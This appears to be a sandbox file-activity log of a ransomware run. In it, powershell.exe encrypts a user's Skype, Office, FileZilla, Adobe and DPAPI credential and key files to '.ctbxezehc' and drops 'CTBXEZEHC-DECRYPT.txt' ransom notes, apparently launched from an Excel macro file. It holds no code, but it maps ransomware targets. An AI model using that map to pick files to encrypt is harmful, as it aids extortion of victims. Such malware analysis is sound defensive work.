3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\settings.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\QuotaManager.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\settings.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\QuotaManager ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype_MediaStackETW-2018.34.1.3-UVA-x86release-U.etl.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Preferences.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype_MediaStackETW-2018.34.1.3-UVA-x86release-U.etl.bak.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Preferences ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype_MediaStackETW-2018.34.1.3-UVA-x86release-U.etl ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype_MediaStackETW-2018.34.1.3-UVA-x86release-U.etl.bak ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype.msrtc-1-1870167131.blog.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\LOG.old.ctbxezehc fli
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\MANIFEST-000001.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype.msrtc-0-2576771366.blog.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\logs\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype.msrtc-1-1870167131.blog ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype.msrtc-0-2576771366.blog ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\MANIFEST-000001 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\CURRENT.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000017.log.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\LOG.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000018.ldb.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\LOG.old ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\CURRENT ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000017.log ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\LOG ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000018.ldb ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000005.ldb.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\LOG.old.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\MANIFEST-000001.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\LOG.old ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000005.ldb ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\MANIFEST-000001 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\LOG.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\000003.log.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\CURRENT.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\LOG ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\CURRENT ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\000003.log ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\ecscache.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\dictionaries\en-US.bdic.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\ecscache.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\dictionaries\en-US.bdic ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\dictionaries\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\device-info.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\device-info.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\index.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\databases\Databases.db.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cookies.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\databases\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\databases\Databases.db ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cookies ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\index ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000003.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000002.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000004.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000003 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000004 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000001.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000002 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000001 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_3.ctbxezehc ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_3 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_2.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_2 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_1.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_0.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_1 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_0 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Publisher Building Blocks\ContentStore.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Signatures\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Publisher Building Blocks\ContentStore.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Publisher Building Blocks\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\70b9161a-fdec-4cad-9e04-69719330c45e.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\54ba308a-6a9a-4e0e-b137-b89d3579498b.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Publisher\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\29fd2168-360f-422a-a685-e6961ea74ba8.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\Preferred.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\Preferred ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\70b9161a-fdec-4cad-9e04-69719330c45e ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\54ba308a-6a9a-4e0e-b137-b89d3579498b ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\29fd2168-360f-422a-a685-e6961ea74ba8 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\CREDHIST.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\PowerPoint\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\test.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Proof\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\test.srs.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\CREDHIST ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\test.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\NoMail.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\Outlook.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\Outlook.srs.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\test.srs ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\Outlook.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\Outlook.srs ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\NoMail.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\OneNote\14.0\Preferences.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\OneNote\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\OneNote\14.0\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\OneNote\14.0\Preferences.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Network\Connections\Pbk\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Network\Connections\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Office\MSO1033.acl.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Office\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Office\MSO1033.acl ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Network\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\MMC\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\MMC\taskschd.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\MMC\taskschd ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Excel\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\HTML Help\hh.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Excel\XLSTART\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\HTML Help\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\Built-In Building Blocks.dotx.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\HTML Help\hh.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\Built-In Building Blocks.dotx ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Document Building Blocks\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\e3f86d7936454598ef98443d4fd3260d_90059c37-1320-41a4-b58d-2b75a9850d2f.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\e3f86d7936454598ef98443d4fd3260d_90059c37-1320-41a4-b58d-2b75a9850d2f ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\7be1242ebc44e45985bd1ffa382e997c_90059c37-1320-41a4-b58d-2b75a9850d2f.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\c43c9d3341c1ddc712bbe39db3c78fa5_90059c37-1320-41a4-b58d-2b75a9850d2f.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\a551dda6b1d5ee0d0c4637af6c004413_90059c37-1320-41a4-b58d-2b75a9850d2f.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\c43c9d3341c1ddc712bbe39db3c78fa5_90059c37-1320-41a4-b58d-2b75a9850d2f ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\7be1242ebc44e45985bd1ffa382e997c_90059c37-1320-41a4-b58d-2b75a9850d2f ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\a551dda6b1d5ee0d0c4637af6c004413_90059c37-1320-41a4-b58d-2b75a9850d2f ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\0f5007522459c86e95ffcc62f32308f1_90059c37-1320-41a4-b58d-2b75a9850d2f.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\1f91d2d17ea675d4c2c3192e241743f9_90059c37-1320-41a4-b58d-2b75a9850d2f.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\1f91d2d17ea675d4c2c3192e241743f9_90059c37-1320-41a4-b58d-2b75a9850d2f ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\0f5007522459c86e95ffcc62f32308f1_90059c37-1320-41a4-b58d-2b75a9850d2f ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\queue.sqlite3.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\AddIns\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Identities\{E4CE17A7-FC47-4CD1-8FF6-45436C8F45DB}\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Media Center Programs\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Identities\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Credentials\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\queue.sqlite3 ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\filezilla.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\layout.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\filezilla.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\layout.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Sonar\Sonar1.0\sonar_policy.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Sonar\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Sonar\Sonar1.0\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\LogTransport2.cfg.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Sonar\Sonar1.0\sonar_policy.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_AcroARM2_Reader_2274f67c-7a7f-45e3-a23e-aa35d5b91e00_02f147fa-0489-4885-b993-ed9936fcacc0_0.rdy.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_HeadlightsOptinProductFamily_HeadlightsOptinProduct_00000000-0000-0000-0000-000000000000_dc2ece58-8a8b-40bf-98c2-48039a3392bd.log.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\LogTransport2.cfg ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_HeadlightsOptinProductFamily_HeadlightsOptinProduct_00000000-0000-0000-0000-000000000000_dc2ece58-8a8b-40bf-98c2-48039a3392bd.log ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_AcroARM2_Reader_2274f67c-7a7f-45e3-a23e-aa35d5b91e00_02f147fa-0489-4885-b993-ed9936fcacc0_0.rdy ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Linguistics\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_AcroARM2_ARM2Update_2274f67c-7a7f-45e3-a23e-aa35d5b91e00_fea03e67-af51-4fcb-b57f-c238867edb9b_0.log.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Flash Player\NativeCache\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Headlights\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_AcroARM2_ARM2Update_2274f67c-7a7f-45e3-a23e-aa35d5b91e00_fea03e67-af51-4fcb-b57f-c238867edb9b_0.log ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Flash Player\AssetCache\J7D4H966\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Flash Player\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Flash Player\AssetCache\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Forms\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Collab\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\.oracle_jre_usage\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp ––
3596 powershell.exe C:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-1000\CTBXEZEHC-DECRYPT.txt text
2972 EXCEL.EXE C:\Users\admin\AppData\Local\Temp\~DFAFA7DC591278B768.TMP ––
2972 EXCEL.EXE C:\Users\admin\AppData\Local\Temp\~$SOC test.xlsm ––
2972 EXCEL.EXE C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\74A5884.png ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF217936.TMP binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GNG9J65Z8PAWSWTU9UT7.temp ––
3328 WScript.exe C:\Users\admin\AppData\Roaming\tnqalxuybs.log text
